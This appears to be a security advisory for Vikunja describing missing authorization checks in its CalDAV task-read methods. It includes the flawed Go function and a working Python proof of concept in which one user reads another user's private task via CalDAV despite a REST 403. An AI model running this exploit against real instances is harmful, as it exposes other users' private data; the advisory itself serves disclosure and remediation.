Vikunja Missing Authorization on CalDAV Task Read

Summary

The CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.

Details

GetTasksByUIDs at pkg/models/tasks.go:376-393 performs a global database query with no authorization check:

func GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) {
    tasks = []*Task{}
    err = s.In("uid", uids).Find(&tasks)
    // ...
}

The web.Auth parameter is accepted but never used for permission filtering. This function is called by:

• GetResource at pkg/routes/caldav/listStorageProvider.go:266 (CalDAV GET)
• GetResourcesByList at pkg/routes/caldav/listStorageProvider.go:199 (CalDAV REPORT multiget)

All other CalDAV operations enforce authorization: CreateResource checks CanCreate(), UpdateResource checks CanUpdate(), DeleteResource checks CanDelete(). Only the read operations skip authorization.

The project ID in the CalDAV URL is ignored. A request to /dav/projects/{attacker_project}/{victim_task_uid}.ics returns the victim's task regardless of which project ID is in the path.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

alice_token = login("alice", "Alice1234!")
bob_token = login("bob", "Bob12345!")

# alice creates private project and task
proj = requests.put(f"{API}/projects", headers=h(alice_token),
                    json={"title": "Private"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alice_token),
                    json={"title": "Secret CEO salary 500k"}).json()

# task UID must be set (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};"
TASK_UID = "test-uid-001"

# bob tries REST API
r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bob_token))
print(f"REST API: {r.status_code}")  # 403

# bob gets CalDAV token
caldav_token = requests.put(f"{API}/user/settings/token/caldav",
    headers=h(bob_token)).json()["token"]

# bob reads alice's task via CalDAV (project ID in URL doesn't matter)
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("bob", caldav_token))
print(f"CalDAV: {r.status_code}")  # 200
print(r.text)  # contains SUMMARY:Secret CEO salary 500k